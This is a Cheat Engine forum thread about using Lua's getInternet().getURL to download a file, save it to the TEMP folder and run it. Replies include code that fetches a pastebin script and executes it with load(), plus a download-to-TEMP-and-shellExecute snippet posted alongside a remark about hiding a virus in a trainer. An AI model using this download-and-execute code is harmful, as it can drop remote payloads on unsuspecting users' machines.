Cheat Engine Forum Index Cheat Engine
The Official Site of Cheat Engine
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 


getInternet().getURL

 
Post new topic   Reply to topic    Cheat Engine Forum Index -> Cheat Engine Lua Scripting
View previous topic :: View next topic  
Author Message
MrsXxX
Newbie cheater
Reputation: 0

Joined: 29 May 2020
Posts: 11

PostPosted: Fri May 29, 2020 4:18 pm    Post subject: getInternet().getURL Reply with quote

local x = getInternet().getURL("")
how can i save this file to anywhere not to desctop
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Fri May 29, 2020 4:43 pm    Post subject: Reply with quote

is it even legal?? Evil or Very Mad
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
atom0s
Moderator
Reputation: 205

Joined: 25 Jan 2006
Posts: 8587
Location: 127.0.0.1

PostPosted: Fri May 29, 2020 5:14 pm    Post subject: Reply with quote

getURL returns a string. Just save it via Lua's IO functions.
https://www.lua.org/manual/5.3/manual.html#6.8

_________________
- Retired.
Back to top
View user's profile Send private message Visit poster's website
Corroder
Grandmaster Cheater Supreme
Reputation: 75

Joined: 10 Apr 2015
Posts: 1668

PostPosted: Fri May 29, 2020 5:22 pm    Post subject: Reply with quote

An example mentioned by atom0s:

Code:
ocal int=getInternet()
local url='https://www.google.com/search?client=firefox-b-d&q=cheat+engine+forum'
local resp=int.getURL(url)
print(resp)

local frm = getLuaEngine()
local log = frm.mOutput.Lines.Text
path = TrainerOrigin or getMainForm()

local f = assert(io.open("content.html", "w"))
-- or local name = path .. "\\content.html"
-- define your path to save the file
-- content.html can replace with txt file or what ever

f:write(log)
f:close()

_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL
Back to top
View user's profile Send private message
MrsXxX
Newbie cheater
Reputation: 0

Joined: 29 May 2020
Posts: 11

PostPosted: Sat May 30, 2020 1:16 am    Post subject: Reply with quote

i want like this corroder
i will save this file to temp
and it will run
how can i do this ?

local x = getInternet().getURL("")
it will save at temp and it will run with execute
>i cant write urls<
Back to top
View user's profile Send private message
Corroder
Grandmaster Cheater Supreme
Reputation: 75

Joined: 10 Apr 2015
Posts: 1668

PostPosted: Sat May 30, 2020 3:44 am    Post subject: Reply with quote

Code:
local x = getInternet().getURL("")
it will save at temp and it will run with execute


getURL("") will give result as nothing. Because no URL address input there.

You need a provide URL address and get data from there using getInternet.getURL('url address').

If you read carefully the example I gave you and understand it, then this line:

Code:
-- example
path = 'C:\\Temp'

local f = assert(io.open("content.html", "w"))
-- or local name = path .. "\\content.html"
-- define your path to save the file
-- content.html can replace with txt file or what ever


Because in example above the path to save data get from URL (in this case is content.html), then data from the URL will save on folder C:\Temp\ as a file with name content.html, of course you can change the path folder where you want to save data and the file name as you want.

Will run with execute?.
It's depending to what data type you take from the URL. The data possible type are html, lua script, hack table, etc.
Anyhow, all data from getURL() will return as strings.

Below an example to get text script from an URL and execute it without need to save on the machine.

Code:
local url = 'https://pastebin.com/raw/1jDXDFcn'
local int = getInternet()
local text = int.getURL(url)
int.destroy()
load(text)()


Copy paste the script above to CE Lua table and execute. See what happens.

_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL
Back to top
View user's profile Send private message
exohaxor
Expert Cheater
Reputation: 1

Joined: 02 Sep 2018
Posts: 101

PostPosted: Sat May 30, 2020 4:29 am    Post subject: This post has 1 review(s) Reply with quote

this looks suspicious writing file to temp to execute it
hmmm...

_________________
hi
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Sat May 30, 2020 6:39 am    Post subject: Reply with quote

exohaxor wrote:
this looks suspicious writing file to temp to execute it
hmmm...

Exactly!!
I thought this would be illegal to give.
But as I see it is not...
I think you need this
Code:

local aaa = "link for the app you want to download"
local bbb = "name of the fie + extension example.exe"

local link={[1]=aaa,[2]="TEMP",[3]=bbb,[4]="wb",[5]=bbb}
local url=link[1]
local get=getInternet()
local smRg=get.getURL(url)
local weird=os.getenv(link[2])
local lol=io.open(weird ..link[3],link[4])
lol:write(smRg)
weird:close()
shellExecute(weird ..link[5])

Ok, MrsXxX go put virus to .CETrainer and say it is detected because cheat engine is hacking tool.
One last thing, don't ask me why you made these variables because I don't know.

_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
MrsXxX
Newbie cheater
Reputation: 0

Joined: 29 May 2020
Posts: 11

PostPosted: Sat May 30, 2020 7:10 am    Post subject: Reply with quote

no nah Not for rat
Just a Project i will rec a video u will see
Back to top
View user's profile Send private message
Oxijen
Expert Cheater
Reputation: 0

Joined: 07 May 2020
Posts: 163
Location: On The Moon

PostPosted: Sat May 30, 2020 8:22 am    Post subject: Reply with quote

hmm, I hope so.
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum Wink
Back to top
View user's profile Send private message
Display posts from previous:   
Post new topic   Reply to topic    Cheat Engine Forum Index -> Cheat Engine Lua Scripting All times are GMT - 6 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Powered by phpBB © 2001, 2005 phpBB Group

CE Wiki   IRC (#CEF)   Twitter
Third party websites